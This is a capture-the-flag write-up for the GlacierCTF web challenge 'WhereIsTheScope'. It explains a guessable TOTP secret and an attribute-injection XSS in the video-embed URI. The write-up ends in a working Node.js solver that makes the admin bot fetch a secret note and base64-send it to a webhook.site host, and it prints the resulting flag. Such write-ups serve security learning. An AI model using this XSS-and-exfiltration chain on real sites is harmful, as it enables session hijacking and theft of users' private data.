WhereIsTheScope [46 Solves]

Description

This year we are launching our new GlacierTV website allowing you to play any video from youtube. You can also take some notes while watching them and also restrict the access to those with a 2FA token. Hope you enjoy it.

author: xsskevin

https://whereisthescope.web.glacierctf.com

Attachments: src.zip

Attachment file tree
$ unzip -t src.zip
Archive:  src.zip
    testing: .babelrc                 OK
    testing: package.json             OK
    testing: patches/                 OK
    testing: patches/babel-generator+6.26.1.patch   OK
    testing: public/assets/css/       OK
    testing: public/assets/css/style.css   OK
    testing: public/index.html        OK
    testing: public/libs/             OK
    testing: public/libs/qrcode.min.js   OK
    testing: src/                     OK
    testing: src/client/              OK
    testing: src/client/index.js      OK
    testing: src/server/              OK
    testing: src/server/app.js        OK
No errors detected in compressed data of src.zip.

Flag

gctf{b3_CaR3fUl_WiTh_JavAScR1pT_C0mP1L3rS_!!1}

Solution

Exploit Overview

// src/server/app.js

// (snip)

app.use(session({
    secret: crypto.randomBytes(32).toString("base64"),
    cookie: {
        httpOnly: true
    }
}))

// (snip)

app.post("/setup_2fa", (req, res) => {
    const sessionId = req.session.id;
    if(Object.keys(totp_tokens).includes(sessionId)) return res.status(400).send("TOTP already registered for that session!")
    const totp = new otpauth.TOTP({
        issuer: "GlacierTV",
        label: "2FA",
        algorithm: "SHA3-384",
        digits: 9,
        period: 43,
        secret: getTOTPSecretToken()
    });
    totp_tokens[sessionId] = totp
    res.json({
        "totp": totp.toString()
    })
});

app.post("/secret_note", (req, res) => {
    const sessionId = req.session.id;
    const message = req.body.message;
    if(typeof message !== "string") return res.status(400).send("No message given");
    secret_notes[sessionId] = message;
    res.status(204).end();
});

app.get("/secret_note", (req, res) => {
    const sessionId = req.session.id;
    if(Object.keys(totp_tokens).includes(sessionId)) {
        const token = req.query.token;
        if(typeof token !== "string") return res.status(400).send("Missing TOTP token in search query.")
        const delta = totp_tokens[sessionId].validate({token, window: 1})
        if(delta === null) return res.status(400).send("Invalid TOTP token!") 
    }
    res.json({
        message: secret_notes[sessionId]
    })
});

// (snip)

const FLAG = process.env.FLAG || "gctf{dummy}";

app.post("/report", async (req, res) => {
    try {
        const path = req.body.path;
        if(typeof path !== "string") return res.status(400).send("No path provided");
        const uri = `http://localhost:8080/${path}`

        const browser = await puppeteer.launch({
            headless: "new",
            args: ["--no-sandbox", "--disable-dev-shm-usage", "--disable-setuid-sandbox"],
        });
        const context = await browser.createIncognitoBrowserContext();
        const page = await context.newPage();
        await page.goto('http://localhost:8080/');
        await page.waitForNavigation({
            waitUntil: 'networkidle0',
        });
        await page.evaluate(async message => {
            await fetch("/setup_2fa", {method: "POST"});
            await fetch("/secret_note", {
                method: "POST",
                body: JSON.stringify({message}),
                headers: {
                    "Content-Type": "application/json"
                }
            });
        }, FLAG)
        await page.goto(uri);
        await sleep(5000);
        await browser.close();
        res.status(200).send("Thank you for your report. We will check it soon")
    } catch(err) {
        console.log(err)
        res.status(400).send("Something went wrong! If you think this is an error on our site, contact an admin.")
    }
})

app.listen(8080);

document.cookie is not accessible because of httpOnly: true. It's impossible to leak cookie.

The flag is sent to [POST] /secret_note endpoint by Puppeteer. The message sent via [POST] /secret_note can be retrieved by sending a request to the [GET] /secret_note endpoint. Also, the [GET] /secret_note is required a token query parameter. Therefore, if it's possible to leak the token and control Puppeteer through XSS to send a request to the [GET] /secret_note endpoint, it seems possible to get the flag.

Guessing and generating token

The Google Authenticator key URI (e.g. otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=SLROQFNSJNZM3SG2KKZH6BRWXTZMLG7F5EZH2KLE2Y335WGL3USQ&algorithm=SHA3-384&digits=9&period=43) can be obtained in the [POST] /setup_2fa endpoint.

$ for i in $(seq 10); do curl -w '\n' -s -X POST https://whereisthescope.web.glacierctf.com/setup_2fa; sleep 5; done
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=SLROQFNSJNZM3SG2KKZH6BRWXTZMLG7F5EZH2KLE2Y335WGL3USQ&algorithm=SHA3-384&digits=9&period=43"}
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=SLROQFNSJNZM3SG2KKZH6BRWXTZMLG7F5EZH2KLE2Y335WGL3USQ&algorithm=SHA3-384&digits=9&period=43"}
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=7MZQQWQRJUKTBJE5FY6QUPDETX2PAXORX5QBOJ5DWTRYCXZO6ONA&algorithm=SHA3-384&digits=9&period=43"}
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=SLROQFNSJNZM3SG2KKZH6BRWXTZMLG7F5EZH2KLE2Y335WGL3USQ&algorithm=SHA3-384&digits=9&period=43"}
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=7MZQQWQRJUKTBJE5FY6QUPDETX2PAXORX5QBOJ5DWTRYCXZO6ONA&algorithm=SHA3-384&digits=9&period=43"}
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=7MZQQWQRJUKTBJE5FY6QUPDETX2PAXORX5QBOJ5DWTRYCXZO6ONA&algorithm=SHA3-384&digits=9&period=43"}
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=7MZQQWQRJUKTBJE5FY6QUPDETX2PAXORX5QBOJ5DWTRYCXZO6ONA&algorithm=SHA3-384&digits=9&period=43"}
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=SLROQFNSJNZM3SG2KKZH6BRWXTZMLG7F5EZH2KLE2Y335WGL3USQ&algorithm=SHA3-384&digits=9&period=43"}
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=SLROQFNSJNZM3SG2KKZH6BRWXTZMLG7F5EZH2KLE2Y335WGL3USQ&algorithm=SHA3-384&digits=9&period=43"}
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=SLROQFNSJNZM3SG2KKZH6BRWXTZMLG7F5EZH2KLE2Y335WGL3USQ&algorithm=SHA3-384&digits=9&period=43"}

Sending requests to the [POST] /setup_2fa API Endpoint several times, it was confirmed that the same secret is responsed in several time. It seems that the secret is guessable, and token is also.

otpauth

// Generate a token (returns the current token as a string).
let token = totp.generate();

// Validate a token (returns the token delta or null if it is not found in the search window, in which case it should be considered invalid).
let delta = totp.validate({ token, window: 1 });

// (snip)

// Convert from Google Authenticator key URI.
totp = OTPAuth.URI.parse(uri);

Tested in nodejs Console:

> const otpauth = require("otpauth")
undefined
> const uri = "otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=SLROQFNSJNZM3SG2KKZH6BRWXTZMLG7F5EZH2KLE2Y335WGL3USQ&algorithm=SHA3-384&digits=9&period=43";
undefined
> otpauth.URI.parse(uri);
TOTP {
  issuer: 'GlacierTV',
  label: '2FA',
  issuerInLabel: true,
  secret: Secret {
    buffer: ArrayBuffer {
      [Uint8Contents]: <92 e2 e8 15 b2 4b 72 cd c8 da 52 b2 7f 06 36 bc f2 c5 9b e5 e9 32 7d 29 64 d6 37 be d8 cb dd 25>,
      byteLength: 32
    }
  },
  algorithm: 'SHA3-384',
  digits: 9,
  period: 43
}
> otpauth.URI.parse(uri).generate();
'498426828'

By using this URL, the generate() method can be used to generate a token.

XSS

// src/client/index.js

// (snip)

function loadFromQuery() {
    const query = new URLSearchParams(window.location.search);
    const source = query.get("source") || "youtube";
    const uri = query.get("uri");
    document.getElementById("searchInput").value = uri || "https://www.youtube.com/embed/dQw4w9WgXcQ?&autoplay=1";
    if(!uri) return false;
    updateSource(uri, source);
    var ifconfig = {
        pathname: `<iframe frameborder="0" width=950 height=570 src="${parseURI(uri)}"></iframe>`
    }
    document.getElementById("viewer").srcdoc = ifconfig.pathname;
    return true;
}

function parseURI(uri) {
    const uriParts = new URL(uri);
    if(uriParts.origin === "https://www.youtube.com")
        return uri;
    // If user does not provide a youtube uri, we take the default one.
    return "https://www.youtube.com/embed/dQw4w9WgXcQ?&autoplay=1";
}

// (snip)

Due to src="${parseURI(uri)}" in the client code, a XSS vulnerability exists.

Successful XSS Payload:

https://whereisthescope.web.glacierctf.com/?uri=https://www.youtube.com/%22%20onload=%22alert(1)

detect_xss.png

Exploit

// solver.js
const axios = require("axios");
const OTPAuth = require("otpauth");

(async () => {
  try {
    // get URI to generate token
    const response = await axios.post(
      "https://whereisthescope.web.glacierctf.com/setup_2fa"
    );
    const token = OTPAuth.URI.parse(response.data.totp).generate();
    // console.log(`token: ${token}`);

    const xss_payload = `fetch('/secret_note?token=${token}').then(resp => resp.text()).then(text => { new Image().src = "https://webhook.site/<yourwebhook>/?data=" + btoa(text); })`;

    const data = {
      path: `?uri=https://www.youtube.com/%22%20onload=%22eval(atob(%27${btoa(
        xss_payload
      )}%27))`,
    };
    // console.log(data);
    await axios.post("https://whereisthescope.web.glacierctf.com/report", data);
  } catch (error) {
    console.log(error);
  }
})();

Execute this solver.js and check webhook request, found https://webhook.site/d4b16d75-3e17-4688-9337-2e09a2aa612e/?data=eyJtZXNzYWdlIjoiZ2N0ZntiM19DYVIzZlVsX1dpVGhfSmF2QVNjUjFwVF9DMG1QMUwzclNfISExfSJ9.

Note: Occasionally, guessing the token may fail, and it could return Invalid TOTP token!. In such cases, it may be necessary to execute solver.js several times.

$ echo -n eyJtZXNzYWdlIjoiZ2N0ZntiM19DYVIzZlVsX1dpVGhfSmF2QVNjUjFwVF9DMG1QMUwzclNfISExfSJ9 | base64 -d
{"message":"gctf{b3_CaR3fUl_WiTh_JavAScR1pT_C0mP1L3rS_!!1}"}